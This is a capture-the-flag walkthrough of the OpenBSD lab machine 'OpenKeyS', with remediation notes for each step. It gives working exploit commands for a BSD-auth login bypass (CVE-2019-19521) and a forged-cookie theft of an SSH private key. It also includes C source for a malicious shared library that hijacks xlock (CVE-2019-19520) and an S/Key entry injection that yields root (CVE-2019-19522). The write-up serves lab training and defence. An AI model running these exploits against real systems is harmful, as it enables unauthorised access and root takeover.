← all walkthroughs

OpenKeyS

OpenBSD· Medium
owned
2026-07-09
time to own
12m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target openkeys.htb ($TARGET) was fully compromised through a three-stage chain. A web application running on OpenBSD httpd had directory auto-indexing enabled on its /includes/ folder, exposing a leftover Vim swap file that leaked PHP source code, the valid username jennifer, and the application's BSD-auth login logic. Armed with that knowledge, I exploited CVE-2019-19521 — an OpenBSD BSD-auth option-injection flaw — to bypass the login form's password check entirely by submitting a crafted username flag value.

That authenticated session was then paired with a forged username cookie to pull jennifer's private SSH key from the application's sshkey.php endpoint, granting a direct SSH shell and the user flag. The host was running unpatched OpenBSD 6.6 (October 2019 build), leaving it vulnerable to the Qualys December-2019 dynamic-authentication advisory: CVE-2019-19520 abused the setgid-auth xlock binary to load I-compiled shared library and execute code as the auth group, and CVE-2019-19522 allowed any auth-group member to inject a forged S/Key one-time-password entry for root and authenticate as root via su — yielding full system compromise and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconNetwork port scanning and web directory enumeration
Mapped open services and discovered the web application surface
A port scan of $TARGET confirmed two services: OpenSSH 8.1 on port 22 and OpenBSD httpd serving PHP on port 80. An HTTP request to the raw IP returned a redirect to the virtual host openkeys.htb. Directory fuzzing against both the IP and the vhost confirmed index.php and an accessible /includes/ path with directory auto-indexing enabled — immediately flagging it as a candidate for file disclosure.
22/tcp ssh OpenSSH 8.1 (protocol 2.0); 80/tcp http OpenBSD httpd; ffuf confirmed index.php (4837 bytes) and /includes/ directory listing.
Exact commands 3
Service fingerprint and HTTP banner grab.
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGET
Add the vhost from the redirect to local resolution — the auth bypass later fails against the raw IP.
echo "$TARGET openkeys.htb" | sudo tee -a /etc/hosts
Enumerate web paths; discovers /includes/ listing and index.php.
ffuf -u http://openkeys.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.swp,.bak -mc 200,301,302,403
2EnumerationSensitive file disclosure via leftover editor backup (CWE-538)
Downloaded a leaked Vim swap file and recovered full PHP source code
The /includes/ directory listing exposed auth.php.swp — a Vim editor recovery file created when a developer edited auth.php without cleanly closing the session. Fetching and running strings on the binary swap file recovered the PHP source for the authentication handler in plaintext, revealing the username jennifer, the required virtual hostname openkeys.htb, and the fact that login is delegated to an OpenBSD BSD-auth helper — precisely the information needed to craft the next exploit.
Strings -a auth.php.swp disclosed username jennifer, vhost openkeys.htb, and the BSD-auth check_auth code path.
Exact commands 3
Confirm directory listing is enabled and auth.php.swp is visible.
curl -s http://openkeys.htb/includes/
Download the Vim swap file.
curl -o /tmp/auth.php.swp http://openkeys.htb/includes/auth.php.swp
Extract readable text; reveals PHP source, username jennifer, vhost openkeys.htb, and BSD-auth flow.
strings -a /tmp/auth.php.swp
FixDisable directory auto-indexing and audit the web root for backup and editor filesHigh
WeaknessThe web server had directory auto-indexing enabled on /includes/, making every file in that folder directly browsable. A leftover Vim swap file (auth.php.swp) was visible and downloadable by any anonymous visitor, leaking the full PHP authentication source code, the only valid username, and the application's internal virtual hostname.
FixDisable directory indexing in the OpenBSD httpd.conf server block (remove the autoindex directive or add a deny-all rule for the /includes/ path). Before every deployment, run a recursive search for editor backup and temporary files (*.swp, *.bak, *~, *.orig, *.save) and remove them or enforce a .gitignore/deploy-hook that prevents them from reaching the server. Add an explicit deny rule so requests to /includes/ return 403 rather than a listing.
3ExploitationAuthentication bypass via BSD-auth login-style option injection (CVE-2019-19521)
Bypassed the web login entirely via BSD-auth username option injection (CVE-2019-19521)
The login form passed the raw username field to the OpenBSD BSD-auth subsystem without stripping leading hyphens. Supplying -schallenge as the username injected it as a login_style option flag rather than an account name, steering the authentication machinery into an S/Key challenge branch that succeeds without a real password. The exploit only works when the request carries Host: openkeys.htb — sending it to the bare IP returns a failure with no useful error, a silent trap that costs significant iteration time. A successful bypass returned an HTTP 302 redirect to sshkey.php.
POST username=-schallenge to openkeys.htb returned HTTP 302 Location: sshkey.php, confirming an authenticated session was established.
Exact commands 1
Trigger the auth bypass; a 302 to sshkey.php in the Location header confirms success. Save cookies for subsequent requests.
curl -v -c /tmp/openkeys_cookies.txt -b /tmp/openkeys_cookies.txt -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x'
FixPatch CVE-2019-19521 — reject usernames beginning with a hyphen before passing them to BSD-authCritical
WeaknessThe login form passed the raw POST username value directly to the OpenBSD BSD-auth subsystem. BSD-auth interprets a leading hyphen as an option flag rather than an account name, so -schallenge was treated as a login_style directive, bypassing the password check entirely for any visitor who knew the trick.
FixApply OpenBSD security errata 020 (December 2019) or upgrade to OpenBSD 6.7 or later where the fix is included in the base system. In any custom authentication wrapper, validate that the username is a legal POSIX account name (alphanumeric plus underscore/hyphen not in the first character position) before passing it to any auth subsystem. Reject and log any submission whose username begins with a hyphen or other option-like character.
4Credential AccessSSH private key theft via client-controlled identity cookie (T1552.004)
Retrieved jennifer's private SSH key from the unauthenticated key-serving endpoint
With a valid session cookie from the bypass, I forged an additional username=jennifer cookie alongside it and requested sshkey.php. The application resolved whose key to return by reading my own cookie rather than the server-side session, so it returned jennifer's OpenSSH private key in the response body verbatim. The key block was extracted and saved locally with correct file permissions.
Curl with forged username=jennifer cookie returned a full -----BEGIN/END OPENSSH PRIVATE KEY----- block from sshkey.php.
Exact commands 2
Replay the auth bypass with the forged jennifer cookie, then retrieve her private key from sshkey.php.
curl -s -c /tmp/openkeys_cookies.txt -b 'username=jennifer' -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x' && curl -s -b /tmp/openkeys_cookies.txt http://openkeys.htb/sshkey.php > /tmp/openkeys_sshkey_response.txt
Extract the private key block and set permissions required by SSH.
sed -n '/BEGIN OPENSSH/,/END OPENSSH/p' /tmp/openkeys_sshkey_response.txt > /tmp/jennifer_id_rsa && chmod 600 /tmp/jennifer_id_rsa
FixRemove the SSH private-key delivery endpoint and fix the broken session-identity checkCritical
WeaknessThe application served users' private SSH keys through a web endpoint (sshkey.php) that determined whose key to return by reading an externally controlled cookie (username=jennifer) rather than a server-side session variable. Any visitor who obtained an authenticated session — by any means — could retrieve any user's private key by forging that cookie value.
FixRemove the private-key delivery endpoint entirely. SSH private keys must never be transmitted over HTTP in any form; users should generate their own keys locally and upload the public half. If machine-provisioned keys are a business requirement, bind the key lookup to the server-side session identity (stored at login time, not readable from the client), enforce that the session identity matches the requested account, and serve keys only over a mutually-authenticated HTTPS channel with certificate pinning.
5FootholdSSH authentication with stolen private key
Authenticated over SSH as jennifer and captured the user flag
The stolen private key authenticated directly to SSH as jennifer@openkeys.htb with no password. Post-login enumeration confirmed jennifer's identity (uid=1001) and — critically — wheel-group membership (group 0), which on OpenBSD grants read access to /etc/sudoers and is a prerequisite for the privilege-escalation chain. OS version enumeration confirmed OpenBSD 6.6 GENERIC#353, the October 2019 build that predates the December 2019 Qualys security patches.
Ssh as jennifer → uid=1001(jennifer) groups=1001(jennifer),0(wheel); uname -a confirmed OpenBSD 6.6 GENERIC#353 amd64; user.txt captured.
Exact commands 3
Authenticate using jennifer's stolen private key.
ssh -i /tmp/jennifer_id_rsa -o StrictHostKeyChecking=no jennifer@$TARGET
Confirm identity, OS version (must be 6.6 pre-patch for the privesc), and capture user flag (value: <user.txt>).
id && uname -a && cat ~/user.txt
Verify the unpatched setgid-auth xlock and setuid-root chpass are present and dated Oct 2019.
ls -la /usr/X11R6/bin/xlock /usr/bin/chpass
6Privilege EscalationSetgid binary dynamic-loader shared-library hijack (CVE-2019-19520)
Hijacked xlock's shared-library loader to execute code as the auth group (CVE-2019-19520)
The setgid-auth binary /usr/X11R6/bin/xlock (October 2019, unpatched) loads Mesa graphics libraries at runtime. The dynamic loader honours the LIBGL_DRIVERS_PATH environment variable even inside setgid binaries on the affected OpenBSD build. Compiling a malicious shared library (swrast_dri.so) with a constructor that copies /bin/sh and sets its setgid-auth bit, then pointing LIBGL_DRIVERS_PATH at the directory containing it and running xlock, caused the library to execute as the auth group. The resulting setgid-auth copy of /bin/sh was then run with -p to obtain an auth-group shell.
-rwxr-sr-x 1 root auth 3138520 Oct 12 2019 /usr/X11R6/bin/xlock (setgid auth, unpatched); exploit payload swrast_dri.so loaded on xlock invocation; resulting shell showed egid=11(auth).
Exact commands 4
Write the shared-library payload that creates a setgid-auth copy of /bin/sh when the constructor fires.
mkdir -p /tmp/expl && cat > /tmp/expl/swrast.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void init() __attribute__((constructor));
static void init() {
    if (geteuid() == getuid()) return;
    char *argv[] = {"sh", "-c",
        "cp /bin/sh /tmp/sh2 && chgrp auth /tmp/sh2 && chmod g+s /tmp/sh2",
        NULL};
    execve(_PATH_BSHELL, argv, NULL);
}
EOF
Compile the malicious Mesa driver on the target (gcc is available on OpenBSD 6.6).
gcc -fpic -shared -nostdlib /tmp/expl/swrast.c -o /tmp/expl/swrast_dri.so
Trigger xlock to load the malicious library; constructor fires with auth group privileges.
env -i LIBGL_DRIVERS_PATH=/tmp/expl /usr/X11R6/bin/xlock
Spawn a shell retaining the auth group EGID; confirm egid=11(auth).
/tmp/sh2 -p && id
FixApply OpenBSD patches for CVE-2019-19520 and CVE-2019-19522 and harden setgid binariesCritical
WeaknessThe host ran OpenBSD 6.6 GENERIC#353 (October 2019), which predates the December 2019 Qualys patches. Two chained flaws were present: (1) the setgid-auth xlock binary honoured the externally controlled LIBGL_DRIVERS_PATH environment variable inside a privileged execution context, allowing any local user to load arbitrary code as the auth group (CVE-2019-19520); and (2) any member of the auth group could create or overwrite /etc/skey/root with a known OTP value and then authenticate to su as root without knowing root's password (CVE-2019-19522).
FixApply OpenBSD errata patches 019 and 020 (December 2019) immediately, or upgrade to OpenBSD 6.7 or later where both fixes are in the base system. As an interim measure: remove the setgid bit from xlock if it is not operationally required (chmod g-s /usr/X11R6/bin/xlock); restrict write access to /etc/skey/ to root only (chmod 700 /etc/skey); and audit all setgid-auth and setuid-root binaries for necessity. Enforce a policy that OS-level security advisories are reviewed within 7 days of release and patched within 30 days, with automated alerting for new OpenBSD errata.
7Full CompromiseS/Key OTP database injection → root authentication bypass (CVE-2019-19522)
Injected a forged S/Key OTP for root and escalated to root via su (CVE-2019-19522)
With auth-group membership obtained in the previous step, I had write access to /etc/skey/ — the OpenBSD S/Key one-time-password database. CVE-2019-19522 allows any auth-group member to create an /etc/skey/root entry containing a known pre-computed OTP hash. Running su -l root with the corresponding passphrase then satisfied the S/Key challenge, yielding a root shell without knowing root's actual password. This completed the chain from anonymous web visitor to uid=0 and captured the root flag.
Auth-group shell wrote /etc/skey/root; su -l root with OTP passphrase succeeded; id → uid=0(root); root.txt captured.
Exact commands 4
Confirm auth group write access to the S/Key database (directory is owned root:auth, mode 0750).
ls -la /etc/skey/
Inject a pre-computed S/Key MD5 OTP entry for root at sequence 99 with seed openkeys (from Qualys advisory PoC).
printf "otp-md5 99 openkeys\n$PASSWORD\n" > /etc/skey/root
Authenticate as root using the passphrase matching the injected OTP; su accepts it via the S/Key auth style.
echo '$PASSWORD2' | su -l root
Confirm uid=0(root) and capture the root flag (value: <root.txt>).
id && cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp